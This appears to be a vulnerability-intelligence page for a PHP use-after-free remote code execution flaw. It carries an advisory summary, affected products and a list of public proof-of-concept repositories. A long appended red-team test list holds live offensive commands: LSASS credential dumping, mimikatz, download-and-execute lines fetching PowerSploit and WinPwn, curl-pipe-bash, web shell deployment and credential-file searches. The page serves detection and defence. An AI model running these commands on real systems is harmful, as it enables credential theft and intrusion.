CVE-2026-109619
Overview
This vulnerability is a use-after-free condition within the PHP interpreter's global state management. The root cause lies in improper resetting or repopulation of global state pointers that reference request memory after it has been freed. This flaw affects the internal memory handling mechanisms of the PHP runtime environment, specifically its management of request-scoped global variables.
Vulnerability Description
PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
Impact
An attacker can execute arbitrary code on the vulnerable PHP server remotely without authentication or user interaction. This enables full system compromise, including unauthorized access to sensitive data and control over server-side processes. The vulnerability allows attackers to bypass typical security boundaries, potentially leading to data breaches, service disruption, and lateral movement within the network environment.
Solution
Apply the security updates provided by the PHP Group as detailed in their advisory GHSA-6wmf-4rv5-p3rp available at https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp. The vendor has released patched PHP versions that address the global state management flaw. Administrators should upgrade to the fixed PHP release versions immediately and follow the vendor's instructions for secure deployment to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (290)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Paloaltonetworks | Panorama Virtual Appliance | N/A |
cpe:2.3:a:paloaltonetworks:panorama_virtual_appliance:-:*:*:*:*:*:*:*
|
|
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | N/A |
cpe:2.3:o:paloaltonetworks:pan-os:-:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:-:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h10:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h11:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h12:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h13:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h14:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h17:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h18:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h1:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h21:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h27:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h2:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h30:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h31:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h36:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h37:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (29)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
aarsaputra/php2shell
Unauthenticated RCE toolkit for PHP 5.4–8.4.26 (CVE-2026-109619/109618) — pure-HTTP chain, JA3 impersonation, prpenetrat...
|
aarsaputra | 123 | 61 | 2026-10-23 | View |
|
unlimit0118/CVE-2026-109619-php2shell-poc
Minimal PHP session upload progress use-after-free PoC and Docker lab.
|
unlimit0118 | 6 | 1 | 2026-10-21 | View |
|
cozybear-dev/cve-2026-109619
|
cozybear-dev | 4 | 0 | 2026-10-21 | View |
|
dev-maple/php2shell-CVE-2026-109619
CVE-2026-109619 (PHP2Shell): Pre-Auth Remote Code Execution (RCE) via PHP-FPM Stale Global State Deserialization UAF. Re...
|
dev-maple | 2 | 1 | 2026-10-26 | View |
|
LordX404/php2shell-exploit
this is a exploit for CVE-2026-109619
|
LordX404 | 2 | 1 | 2026-10-21 | View |
|
EQSTLab/CVE-2026-109619
PHP2Shell
|
EQSTLab | 2 | 0 | 2026-10-23 | View |
|
infiniroot/ansible-mitigate-php2shell
Ansible Playbook that runs through your PHP-FPM and OpenLiteSpeed PHP files and applies a mitigation against CVE-2026-10...
|
infiniroot | 1 | 0 | 2026-10-21 | View |
|
franckferman/CVE-2026-109619
CVE-2026-109619 - PHP session.upload_progress File Poisoning + LFI RCE (CVSS 9.2)
|
franckferman | 1 | 0 | 2026-10-26 | View |
|
fellipgomes/br-php2shell
Descubra se sites da internet é vulnerável a php2shell CVE-2026-109619
|
fellipgomes | 1 | 0 | 2026-10-23 | View |
|
DarynOngera/solid-palm-tree
CVE-2026-109619 / CVE-2026-109618 PoC
|
DarynOngera | 1 | 0 | 2026-10-23 | View |
|
mazdel/php2shell-poc
Zero-dependency Python PoC & Docker Compose reproduction for CVE-2026-109619 via PHP RFC1867 upload progress and opcache...
|
mazdel | 1 | 0 | 2026-10-22 | View |
|
baimaobg/php-cve-2026-109619-lab
|
baimaobg | 1 | 0 | 2026-10-22 | View |
|
fmdiscioglu/php-cve-2026-109619-checker
Non-destructive affected-version checker for CVE-2026-109619 (GHSA-6wmf-4rv5-p3rp) PHP UAF
|
fmdiscioglu | 0 | 1 | 2026-10-21 | View |
|
santihabib/CVE-2026-109619
CVE-2026-109619: cross-request UAF in PHP session.upload_progress — reproduction, root-cause analysis and full chain to ...
|
santihabib | 0 | 1 | 2026-10-21 | View |
|
K2uci/PHP2ShellPOC-CVE-2026-109619
|
K2uci | 0 | 0 | 2026-11-02 | View |
|
solidevil14/php2shell-detections
Suricata rules + CI-proven regression suite for the php2shell PHP RCE chain (CVE-2026-109619 / CVE-2026-109618)
|
solidevil14 | 0 | 0 | 2026-10-30 | View |
|
piecar21/CVE-2026-109619
PoC / exploit archive for CVE-2026-109619
|
piecar21 | 0 | 0 | 2026-10-27 | View |
|
utkarsssh17/cve-2026-109619-php-uaf-poc
|
utkarsssh17 | 0 | 0 | 2026-10-24 | View |
|
abraxas/php-stale-global-uaf
PHP 8.5.11 - Critical - Remote - UAF - CVE-2026-109619 PHP2Shell. Same-worker fatal backtrace then INI diagnostic on Apa...
|
abraxas | 0 | 0 | 2026-10-24 | View |
|
Taz1920/cve-2026-109619
CVE-2026-109619 PoC lab
|
Taz1920 | 0 | 0 | 2026-10-24 | View |
|
MorphingYU/CVE-2026-109619
CVE-2026-109619 docker本地复现环境+Poc
|
MorphingYU | 0 | 0 | 2026-10-23 | View |
|
WallcroftUK/CVE-2026-109619
|
WallcroftUK | 0 | 0 | 2026-10-22 | View |
|
FarhadHosen101/PHP2Shell-CVE-2026-109619
Advanced Pre-Auth RCE Exploit for PHP session.upload_progress (CVE-2026-109618 & 109619) by Farhad Hosen.
|
FarhadHosen101 | 0 | 0 | 2026-10-22 | View |
|
RuanSerraAzul/CVE-2026-109619-POC
|
RuanSerraAzul | 0 | 0 | 2026-10-22 | View |
|
Prajjwal-Srivastava/php2shell_scanner
Scans a PHP host for CVE-2026-109619 (php2shell): fingerprints it, compares PHP version and build date against fixed rel...
|
Prajjwal-Srivastava | 0 | 0 | 2026-10-22 | View |
|
VKKKV/php2shell-exp
Profile-driven php2shell chain (CVE-2026-109619 class) for stock php:*-apache images; loopback lab only.
|
VKKKV | 0 | 0 | 2026-10-22 | View |
|
1Nightlovel/CVE-2026-109619
php2shellscanner
|
1Nightlovel | 0 | 0 | 2026-10-21 | View |
|
syrex1013/CVE-2026-109619
|
syrex1013 | 0 | 0 | 2026-10-21 | View |
|
basesixtythree/B63-POC-CVE-2026-109619
PoC and verification material for CVE-2026-109619 (PHP stale worker-global state)
|
basesixtythree | 0 | 0 | 2026-10-21 | View |
Threat Feed
19 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Active exploitation confirmed with 787 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
160 mentions from 131 sources in the last 7 days BuzzFactor 100 / 100
-
